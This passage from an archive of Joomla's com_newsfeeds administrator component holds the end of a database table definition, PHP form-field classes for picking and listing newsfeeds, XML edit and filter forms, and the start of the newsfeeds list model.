  `modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `modified_by` int unsigned NOT NULL DEFAULT 0,
  `metakey` text NOT NULL,
  `metadesc` text NOT NULL,
  `metadata` text NOT NULL,
  `xreference` varchar(50) NOT NULL COMMENT 'A reference to enable linkages to external data sets.',
  `publish_up` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `publish_down` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `description` text NOT NULL,
  `version` int unsigned NOT NULL DEFAULT 1,
  `hits` int unsigned NOT NULL DEFAULT 0,
  `images` text NOT NULL,
  PRIMARY KEY (`id`),
  KEY `idx_access` (`access`),
  KEY `idx_checkout` (`checked_out`),
  KEY `idx_state` (`published`),
  KEY `idx_catid` (`catid`),
  KEY `idx_createdby` (`created_by`),
  KEY `idx_language` (`language`),
  KEY `idx_xreference` (`xreference`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;
com_newsfeeds/models/fields/modal/newsfeed.php000060400000023453152455305270015536 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\LanguageHelper;

/**
 * Supports a modal newsfeeds picker.
 *
 * @since  1.6
 */
class JFormFieldModal_Newsfeed extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var     string
	 * @since   1.6
	 */
	protected $type = 'Modal_Newsfeed';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   1.6
	 */
	protected function getInput()
	{
		$allowNew       = ((string) $this->element['new'] == 'true');
		$allowEdit      = ((string) $this->element['edit'] == 'true');
		$allowClear     = ((string) $this->element['clear'] != 'false');
		$allowSelect    = ((string) $this->element['select'] != 'false');
		$allowPropagate = ((string) $this->element['propagate'] == 'true');

		$languages = LanguageHelper::getContentLanguages(array(0, 1));

		// Load language
		JFactory::getLanguage()->load('com_newsfeeds', JPATH_ADMINISTRATOR);

		// The active newsfeed id field.
		$value = (int) $this->value > 0 ? (int) $this->value : '';

		// Create the modal id.
		$modalId = 'Newsfeed_' . $this->id;

		// Add the modal field script to the document head.
		JHtml::_('jquery.framework');
		JHtml::_('script', 'system/modal-fields.js', array('version' => 'auto', 'relative' => true));

		// Script to proxy the select modal function to the modal-fields.js file.
		if ($allowSelect)
		{
			static $scriptSelect = null;

			if (is_null($scriptSelect))
			{
				$scriptSelect = array();
			}

			if (!isset($scriptSelect[$this->id]))
			{
				JFactory::getDocument()->addScriptDeclaration("
				function jSelectNewsfeed_" . $this->id . "(id, title, object) {
					window.processModalSelect('Newsfeed', '" . $this->id . "', id, title, '', object);
				}
				"
				);

				JText::script('JGLOBAL_ASSOCIATIONS_PROPAGATE_FAILED');

				$scriptSelect[$this->id] = true;
			}
		}

		// Setup variables for display.
		$linkNewsfeeds = 'index.php?option=com_newsfeeds&amp;view=newsfeeds&amp;layout=modal&amp;tmpl=component&amp;' . JSession::getFormToken() . '=1';
		$linkNewsfeed  = 'index.php?option=com_newsfeeds&amp;view=newsfeed&amp;layout=modal&amp;tmpl=component&amp;' . JSession::getFormToken() . '=1';
		$modalTitle    = JText::_('COM_NEWSFEEDS_CHANGE_FEED');

		if (isset($this->element['language']))
		{
			$linkNewsfeeds .= '&amp;forcedLanguage=' . $this->element['language'];
			$linkNewsfeed  .= '&amp;forcedLanguage=' . $this->element['language'];
			$modalTitle    .= ' &#8212; ' . $this->element['label'];
		}

		$urlSelect = $linkNewsfeeds . '&amp;function=jSelectNewsfeed_' . $this->id;
		$urlEdit   = $linkNewsfeed . '&amp;task=newsfeed.edit&amp;id=\' + document.getElementById("' . $this->id . '_id").value + \'';
		$urlNew    = $linkNewsfeed . '&amp;task=newsfeed.add';

		if ($value)
		{
			$db    = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName('name'))
				->from($db->quoteName('#__newsfeeds'))
				->where($db->quoteName('id') . ' = ' . (int) $value);
			$db->setQuery($query);

			try
			{
				$title = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				JError::raiseWarning(500, $e->getMessage());
			}
		}

		$title = empty($title) ? JText::_('COM_NEWSFEEDS_SELECT_A_FEED') : htmlspecialchars($title, ENT_QUOTES, 'UTF-8');

		// The current newsfeed display field.
		$html  = '<span class="input-append">';
		$html .= '<input class="input-medium" id="' . $this->id . '_name" type="text" value="' . $title . '" disabled="disabled" size="35" />';

		// Select newsfeed button
		if ($allowSelect)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn hasTooltip' . ($value ? ' hidden' : '') . '"'
				. ' id="' . $this->id . '_select"'
				. ' data-toggle="modal"'
				. ' data-target="#ModalSelect' . $modalId . '"'
				. ' title="' . JHtml::tooltipText('COM_NEWSFEEDS_CHANGE_FEED') . '">'
				. '<span class="icon-file" aria-hidden="true"></span> ' . JText::_('JSELECT')
				. '</button>';
		}

		// New newsfeed button
		if ($allowNew)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn hasTooltip' . ($value ? ' hidden' : '') . '"'
				. ' id="' . $this->id . '_new"'
				. ' data-toggle="modal"'
				. ' data-target="#ModalNew' . $modalId . '"'
				. ' title="' . JHtml::tooltipText('COM_NEWSFEEDS_NEW_NEWSFEED') . '">'
				. '<span class="icon-new" aria-hidden="true"></span> ' . JText::_('JACTION_CREATE')
				. '</button>';
		}

		// Edit newsfeed button
		if ($allowEdit)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn hasTooltip' . ($value ? '' : ' hidden') . '"'
				. ' id="' . $this->id . '_edit"'
				. ' data-toggle="modal"'
				. ' data-target="#ModalEdit' . $modalId . '"'
				. ' title="' . JHtml::tooltipText('COM_NEWSFEEDS_EDIT_NEWSFEED') . '">'
				. '<span class="icon-edit" aria-hidden="true"></span> ' . JText::_('JACTION_EDIT')
				. '</button>';
		}

		// Clear newsfeed button
		if ($allowClear)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn' . ($value ? '' : ' hidden') . '"'
				. ' id="' . $this->id . '_clear"'
				. ' onclick="window.processModalParent(\'' . $this->id . '\'); return false;">'
				. '<span class="icon-remove" aria-hidden="true"></span>' . JText::_('JCLEAR')
				. '</button>';
		}

		// Propagate newsfeed button
		if ($allowPropagate && count($languages) > 2)
		{
			// Strip off language tag at the end
			$tagLength = (int) strlen($this->element['language']);
			$callbackFunctionStem = substr("jSelectNewsfeed_" . $this->id, 0, -$tagLength);

			$html .= '<a'
			. ' class="btn hasTooltip' . ($value ? '' : ' hidden') . '"'
			. ' id="' . $this->id . '_propagate"'
			. ' href="#"'
			. ' title="' . JHtml::tooltipText('JGLOBAL_ASSOCIATIONS_PROPAGATE_TIP') . '"'
			. ' onclick="Joomla.propagateAssociation(\'' . $this->id . '\', \'' . $callbackFunctionStem . '\');">'
			. '<span class="icon-refresh" aria-hidden="true"></span>' . JText::_('JGLOBAL_ASSOCIATIONS_PROPAGATE_BUTTON')
			. '</a>';
		}

		$html .= '</span>';

		// Select newsfeed modal
		if ($allowSelect)
		{
			$html .= JHtml::_(
				'bootstrap.renderModal',
				'ModalSelect' . $modalId,
				array(
					'title'       => $modalTitle,
					'url'         => $urlSelect,
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'footer'      => '<button type="button" class="btn" data-dismiss="modal">' . JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>',
				)
			);
		}

		// New newsfeed modal
		if ($allowNew)
		{
			$html .= JHtml::_(
				'bootstrap.renderModal',
				'ModalNew' . $modalId,
				array(
					'title'       => JText::_('COM_NEWSFEEDS_NEW_NEWSFEED'),
					'backdrop'    => 'static',
					'keyboard'    => false,
					'closeButton' => false,
					'url'         => $urlNew,
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'footer'      => '<button type="button" class="btn"'
							. ' onclick="window.processModalEdit(this, \''
							. $this->id . '\', \'add\', \'newsfeed\', \'cancel\', \'newsfeed-form\', \'jform_id\', \'jform_name\'); return false;">'
							. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
							. '<button type="button" class="btn btn-primary"'
							. ' onclick="window.processModalEdit(this, \''
							. $this->id . '\', \'add\', \'newsfeed\', \'save\', \'newsfeed-form\', \'jform_id\', \'jform_name\'); return false;">'
							. JText::_('JSAVE') . '</button>'
							. '<button type="button" class="btn btn-success"'
							. ' onclick="window.processModalEdit(this, \''
							. $this->id . '\', \'add\', \'newsfeed\', \'apply\', \'newsfeed-form\', \'jform_id\', \'jform_name\'); return false;">'
							. JText::_('JAPPLY') . '</button>',
				)
			);
		}

		// Edit newsfeed modal.
		if ($allowEdit)
		{
			$html .= JHtml::_(
				'bootstrap.renderModal',
				'ModalEdit' . $modalId,
				array(
					'title'       => JText::_('COM_NEWSFEEDS_EDIT_NEWSFEED'),
					'backdrop'    => 'static',
					'keyboard'    => false,
					'closeButton' => false,
					'url'         => $urlEdit,
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'footer'      => '<button type="button" class="btn"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id
							. '\', \'edit\', \'newsfeed\', \'cancel\', \'newsfeed-form\', \'jform_id\', \'jform_name\'); return false;">'
							. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
							. '<button type="button" class="btn btn-primary"'
							. ' onclick="window.processModalEdit(this, \''
							. $this->id . '\', \'edit\', \'newsfeed\', \'save\', \'newsfeed-form\', \'jform_id\', \'jform_name\'); return false;">'
							. JText::_('JSAVE') . '</button>'
							. '<button type="button" class="btn btn-success"'
							. ' onclick="window.processModalEdit(this, \''
							. $this->id . '\', \'edit\', \'newsfeed\', \'apply\', \'newsfeed-form\', \'jform_id\', \'jform_name\'); return false;">'
							. JText::_('JAPPLY') . '</button>',
				)
			);
		}

		// Add class='required' for client side validation
		$class = $this->required ? ' class="required modal-value"' : '';

		$html .= '<input type="hidden" id="' . $this->id . '_id"' . $class . ' data-required="' . (int) $this->required . '" name="' . $this->name
			. '" data-text="' . htmlspecialchars(JText::_('COM_NEWSFEEDS_SELECT_A_FEED', true), ENT_COMPAT, 'UTF-8') . '" value="' . $value . '" />';

		return $html;
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.4
	 */
	protected function getLabel()
	{
		return str_replace($this->id, $this->id . '_id', parent::getLabel());
	}
}
com_newsfeeds/models/fields/newsfeeds.php000060400000002226152455305270014620 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JFormHelper::loadFieldClass('list');

/**
 * News Feed List field.
 *
 * @since  1.6
 */
class JFormFieldNewsfeeds extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var		string
	 * @since   1.6
	 */
	protected $type = 'Newsfeeds';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   1.6
	 */
	protected function getOptions()
	{
		$options = array();

		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('id As value, name As text')
			->from('#__newsfeeds AS a')
			->order('a.name');

		// Get the options.
		$db->setQuery($query);

		try
		{
			$options = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $db->getMessage());
		}

		// Merge any additional options in the XML definition.
		$options = array_merge(parent::getOptions(), $options);

		return $options;
	}
}
com_newsfeeds/models/forms/newsfeed.xml000060400000024754152455305270014340 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>

	<fieldset addfieldpath="/administrator/components/com_categories/models/fields" >

		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			default="0"
			class="readonly"
			readonly="true"
		/>

		<field
			name="name"
			type="text"
			label="JGLOBAL_TITLE"
			description="JFIELD_TITLE_DESC"
			class="input-xxlarge input-large-text"
			size="40"
			required="true"
		/>

		<field
			name="alias"
			type="text"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
			size="45"
			hint="JFIELD_ALIAS_PLACEHOLDER"
		/>

		<field
			name="published"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			default="1"
			class="chzn-color-state"
			size="1"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="2">JARCHIVED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="catid"
			type="categoryedit"
			label="JCATEGORY"
			description="COM_NEWSFEEDS_FIELD_CATEGORY_DESC"
			extension="com_newsfeeds"
			required="true"
			default=""
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_NEWSFEEDS_FIELD_LANGUAGE_DESC"
			>
			<option value="*">JALL</option>
		</field>

		<field
			name="tags"
			type="tag"
			label="JTAG"
			description="JTAG_DESC"
			class="span12"
			multiple="true"
		/>

		<field
			name="version_note"
			type="text"
			label="JGLOBAL_FIELD_VERSION_NOTE_LABEL"
			description="JGLOBAL_FIELD_VERSION_NOTE_DESC"
			labelclass="control-label"
			class="span12"
			size="45"
			maxlength="255"
		/>

		<field
			name="description"
			type="editor"
			label="JGLOBAL_DESCRIPTION"
			description="COM_NEWSFEEDS_FIELD_DESCRIPTION_DESC"
			buttons="true"
			hide="pagebreak,readmore"
			filter="JComponentHelper::filterText"
		/>

		<field
			name="link"
			type="url"
			label="COM_NEWSFEEDS_FIELD_LINK_LABEL"
			description="COM_NEWSFEEDS_FIELD_LINK_DESC"
			class="span12"
			size="60"
			required="true"
			filter="url"
			validate="url"
		/>

		<field
			name="numarticles"
			type="number"
			label="COM_NEWSFEEDS_FIELD_NUM_ARTICLES_LABEL"
			description="COM_NEWSFEEDS_FIELD_NUM_ARTICLES_DESC"
			default="5"
			size="2"
		/>

		<field
			name="cache_time"
			type="number"
			label="COM_NEWSFEEDS_FIELD_CACHETIME_LABEL"
			description="JGLOBAL_FIELD_FIELD_CACHETIME_DESC"
			default="3600"
			size="4"
		/>

		<field
			name="ordering"
			type="ordering"
			label="JFIELD_ORDERING_LABEL"
			description="JFIELD_ORDERING_DESC"
			content_type="com_newsfeeds.newsfeed"
		/>

		<field
			name="created"
			type="calendar"
			label="JGLOBAL_FIELD_CREATED_LABEL"
			description="JGLOBAL_FIELD_CREATED_DESC"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="created_by"
			type="user"
			label="JGLOBAL_FIELD_Created_by_Label"
			description="JGLOBAL_FIELD_CREATED_BY_DESC"
		/>

		<field
			name="created_by_alias"
			type="text"
			label="JGLOBAL_FIELD_Created_by_alias_Label"
			description="JGLOBAL_FIELD_CREATED_BY_ALIAS_DESC"
			size="20"
		/>

		<field
			name="modified"
			type="calendar"
			label="JGLOBAL_FIELD_Modified_Label"
			description="COM_NEWSFEEDS_FIELD_MODIFIED_DESC"
			class="readonly"
			translateformat="true"
			showtime="true"
			size="22"
			readonly="true"
			filter="user_utc"
		/>

		<field
			name="modified_by"
			type="user"
			label="JGLOBAL_FIELD_MODIFIED_BY_LABEL"
			description="COM_NEWSFEEDS_FIELD_MODIFIED_BY_DESC"
			class="readonly"
			readonly="true"
			filter="unset"
		/>

		<field
			name="version"
			type="text"
			label="COM_NEWSFEEDS_FIELD_VERSION_LABEL"
			description="COM_NEWSFEEDS_FIELD_VERSION_DESC"
			class="readonly"
			size="6"
			readonly="true"
			filter="unset"
		/>

		<field
			name="checked_out"
			type="Text"
			label="JGLOBAL_FIELD_CHECKEDOUT_LABEL"
			description="JGLOBAL_FIELD_CHECKEDOUT_DESC"
			size="6"
			readonly="true"
			filter="unset"
		/>

		<field
			name="checked_out_time"
			type="Text"
			label="JGLOBAL_FIELD_CHECKEDOUT_TIME_LABEL"
			description="JGLOBAL_FIELD_CHECKEDOUT_TIME_DESC"
			size="6"
			readonly="true"
			filter="unset"
		/>

		<field
			name="publish_up"
			type="calendar"
			label="JGLOBAL_FIELD_PUBLISH_UP_LABEL"
			description="JGLOBAL_FIELD_PUBLISH_UP_DESC"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="publish_down"
			type="calendar"
			label="JGLOBAL_FIELD_PUBLISH_DOWN_LABEL"
			description="JGLOBAL_FIELD_PUBLISH_DOWN_DESC"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="access"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			size="1"
		/>

		<field
			name="metakey"
			type="textarea"
			label="JFIELD_META_KEYWORDS_LABEL"
			description="JFIELD_META_KEYWORDS_DESC"
			rows="3"
			cols="30"
		/>

		<field
			name="metadesc"
			type="textarea"
			label="JFIELD_META_DESCRIPTION_LABEL"
			description="JFIELD_META_DESCRIPTION_DESC"
			rows="3"
			cols="30"
		/>

		<field
			name="xreference"
			type="text"
			label="JFIELD_XREFERENCE_LABEL"
			description="JFIELD_XREFERENCE_DESC"
			size="20"
		/>

		<fields name="images">

			<fieldset name="images" label="JGLOBAL_FIELDSET_IMAGE_OPTIONS">

				<field
					name="image_first"
					type="media"
					label="COM_NEWSFEEDS_FIELD_FIRST_LABEL"
					description="COM_NEWSFEEDS_FIELD_FIRST_DESC"
				/>

				<field
					name="float_first"
					type="list"
					label="COM_NEWSFEEDS_FLOAT_LABEL"
					description="COM_NEWSFEEDS_FLOAT_DESC"
					useglobal="true"
					>
					<option value="right">COM_NEWSFEEDS_RIGHT</option>
					<option value="left">COM_NEWSFEEDS_LEFT</option>
					<option value="none">COM_NEWSFEEDS_NONE</option>
				</field>

				<field
					name="image_first_alt"
					type="text"
					label="COM_NEWSFEEDS_FIELD_IMAGE_ALT_LABEL"
					description="COM_NEWSFEEDS_FIELD_IMAGE_ALT_DESC"
					size="20"
				/>

				<field
					name="image_first_caption"
					type="text"
					label="COM_NEWSFEEDS_FIELD_IMAGE_CAPTION_LABEL"
					description="COM_NEWSFEEDS_FIELD_IMAGE_CAPTION_DESC"
					size="20"
				/>

				<field
					name="spacer1"
					type="spacer"
					hr="true"
				/>

				<field
					name="image_second"
					type="media"
					label="COM_NEWSFEEDS_FIELD_SECOND_LABEL"
					description="COM_NEWSFEEDS_FIELD_SECOND_DESC"
				/>

				<field
					name="float_second"
					type="list"
					label="COM_NEWSFEEDS_FLOAT_LABEL"
					description="COM_NEWSFEEDS_FLOAT_DESC"
					useglobal="true"
					>
					<option value="right">COM_NEWSFEEDS_RIGHT</option>
					<option value="left">COM_NEWSFEEDS_LEFT</option>
					<option value="none">COM_NEWSFEEDS_NONE</option>
				</field>

				<field
					name="image_second_alt"
					type="text"
					label="COM_NEWSFEEDS_FIELD_IMAGE_ALT_LABEL"
					description="COM_NEWSFEEDS_FIELD_IMAGE_ALT_DESC"
					size="20"
				/>

				<field
					name="image_second_caption"
					type="text"
					label="COM_NEWSFEEDS_FIELD_IMAGE_CAPTION_LABEL"
					description="COM_NEWSFEEDS_FIELD_IMAGE_CAPTION_DESC"
					size="20"
				/>
			</fieldset>
		</fields>
	</fieldset>

	<fieldset name="jbasic" label="JGLOBAL_FIELDSET_DISPLAY_OPTIONS">

		<field
			name="numarticles"
			type="number"
			label="COM_NEWSFEEDS_FIELD_NUM_ARTICLES_LABEL"
			description="COM_NEWSFEEDS_FIELD_NUM_ARTICLES_DESC"
			default="5"
			size="2"
		/>

		<field
			name="cache_time"
			type="number"
			label="COM_NEWSFEEDS_FIELD_CACHETIME_LABEL"
			description="JGLOBAL_FIELD_FIELD_CACHETIME_DESC"
			default="3600"
			size="4"
		/>

		<field
			name="rtl"
			type="list"
			label="COM_NEWSFEEDS_FIELD_RTL_LABEL"
			description="COM_NEWSFEEDS_FIELD_RTL_DESC"
			default="0"
			>
			<option value="0">COM_NEWSFEEDS_FIELD_VALUE_SITE</option>
			<option value="1">COM_NEWSFEEDS_FIELD_VALUE_LTR</option>
			<option value="2">COM_NEWSFEEDS_FIELD_VALUE_RTL</option>
		</field>

		<fields name="params" label="JGLOBAL_FIELDSET_DISPLAY_OPTIONS">

			<field
				name="show_feed_image"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_DESC"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_feed_description"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_DESC"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_item_description"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_DESC"
				useglobal="true"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="feed_character_count"
				type="number"
				label="COM_NEWSFEEDS_FIELD_CHARACTERS_COUNT_LABEL"
				description="COM_NEWSFEEDS_FIELD_CHARACTERS_COUNT_DESC"
				size="6"
				useglobal="true"
			/>

			<field
				name="newsfeed_layout"
				type="componentlayout"
				label="JFIELD_ALT_LAYOUT_LABEL"
				description="JFIELD_ALT_COMPONENT_LAYOUT_DESC"
				extension="com_newsfeeds"
				view="newsfeed"
				useglobal="true"
			/>

			<field
				name="feed_display_order"
				type="list"
				label="COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL"
				description="COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_DESC"
				useglobal="true"
				>
				<option value="des">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="asc">JGLOBAL_OLDEST_FIRST</option>
			</field>
		</fields>
	</fieldset>

	<fields name="metadata" label="JGLOBAL_FIELDSET_METADATA_OPTIONS">

		<fieldset name="jmetadata" label="JGLOBAL_FIELDSET_METADATA_OPTIONS">

			<field
				name="robots"
				type="list"
				label="JFIELD_METADATA_ROBOTS_LABEL"
				description="JFIELD_METADATA_ROBOTS_DESC"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="index, follow"></option>
				<option value="noindex, follow"></option>
				<option value="index, nofollow"></option>
				<option value="noindex, nofollow"></option>
			</field>

			<field
				name="rights"
				type="text"
				label="JFIELD_META_RIGHTS_LABEL"
				description="JFIELD_META_RIGHTS_DESC"
				rows="2"
				cols="30"
				filter="string"
			/>

			<field
				name="hits"
				type="number"
				label="JGLOBAL_HITS"
				description="COM_NEWSFEEDS_HITS_DESC"
				class="readonly"
				size="6"
				readonly="true"
				filter="unset"
			/>
		</fieldset>
	</fields>
</form>
com_newsfeeds/models/forms/filter_newsfeeds.xml000060400000007302152455305270016056 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>

	<fields name="filter">

		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_NEWSFEEDS_FILTER_SEARCH_LABEL"
			description="COM_NEWSFEEDS_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="published"
			type="status"
			label="COM_NEWSFEEDS_FILTER_PUBLISHED"
			description="COM_NEWSFEEDS_FILTER_PUBLISHED_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="category_id"
			type="category"
			label="JOPTION_FILTER_CATEGORY"
			description="JOPTION_FILTER_CATEGORY_DESC"
			extension="com_newsfeeds"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_CATEGORY</option>
		</field>

		<field
			name="access"
			type="accesslevel"
			label="JOPTION_FILTER_ACCESS"
			description="JOPTION_FILTER_ACCESS_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>

		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>

		<field
			name="tag"
			type="tag"
			label="JOPTION_FILTER_TAG"
			description="JOPTION_FILTER_TAG_DESC"
			mode="nested"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_TAG</option>
		</field>

		<field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="10"
			step="1"
			languages="*"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
		</field>
	</fields>

	<fields name="list">

		<field
			name="fullordering"
			type="list"
			label="COM_NEWSFEEDS_LIST_FULL_ORDERING"
			description="COM_NEWSFEEDS_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.name ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published ASC">JSTATUS_ASC</option>
			<option value="a.published DESC">JSTATUS_DESC</option>
			<option value="a.name ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.name DESC">JGLOBAL_TITLE_DESC</option>
			<option value="category_title ASC">JCATEGORY_ASC</option>
			<option value="category_title DESC">JCATEGORY_DESC</option>
			<option value="access_level ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="access_level DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="numarticles ASC">COM_NEWSFEEDS_NUM_ARTICLES_HEADING_ASC</option>
			<option value="numarticles DESC">COM_NEWSFEEDS_NUM_ARTICLES_HEADING_DESC</option>
			<option value="a.cache_time ASC">COM_NEWSFEEDS_CACHE_TIME_HEADING_ASC</option>
			<option value="a.cache_time DESC">COM_NEWSFEEDS_CACHE_TIME_HEADING_DESC</option>
			<option
				value="association ASC"
				requires="associations"
				>
				JASSOCIATIONS_ASC
			</option>
			<option
				value="association DESC"
				requires="associations"
				>
				JASSOCIATIONS_DESC
			</option>
			<option value="language_title ASC">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="language_title DESC">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_NEWSFEEDS_LIST_LIMIT"
			description="COM_NEWSFEEDS_LIST_LIMIT_DESC"
			default="25"
			class="input-mini"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_newsfeeds/models/newsfeeds.php000060400000023033152455305270013351 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Methods supporting a list of newsfeed records.
 *
 * @since  1.6
 */
class NewsfeedsModelNewsfeeds extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'name', 'a.name',
				'alias', 'a.alias',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'catid', 'a.catid', 'category_id', 'category_title',
				'published', 'a.published',
				'access', 'a.access', 'access_level',
				'created', 'a.created',
				'created_by', 'a.created_by',
				'ordering', 'a.ordering',
				'language', 'a.language', 'language_title',
				'publish_up', 'a.publish_up',
				'publish_down', 'a.publish_down',
				'cache_time', 'a.cache_time',
				'numarticles',
				'tag',
				'level', 'c.level',
				'tag',
			);

			$assoc = JLanguageAssociations::isEnabled();

			if ($assoc)
			{
				$config['filter_fields'][] = 'association';
			}
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.name', $direction = 'asc')
	{
		$app = JFactory::getApplication();

		$forcedLanguage = $app->input->get('forcedLanguage', '', 'cmd');

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Adjust the context to support forced languages.
		if ($forcedLanguage)
		{
			$this->context .= '.' . $forcedLanguage;
		}

		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.published', $this->getUserStateFromRequest($this->context . '.filter.published', 'filter_published', '', 'string'));
		$this->setState('filter.category_id', $this->getUserStateFromRequest($this->context . '.filter.category_id', 'filter_category_id', '', 'cmd'));
		$this->setState('filter.access', $this->getUserStateFromRequest($this->context . '.filter.access', 'filter_access', '', 'cmd'));
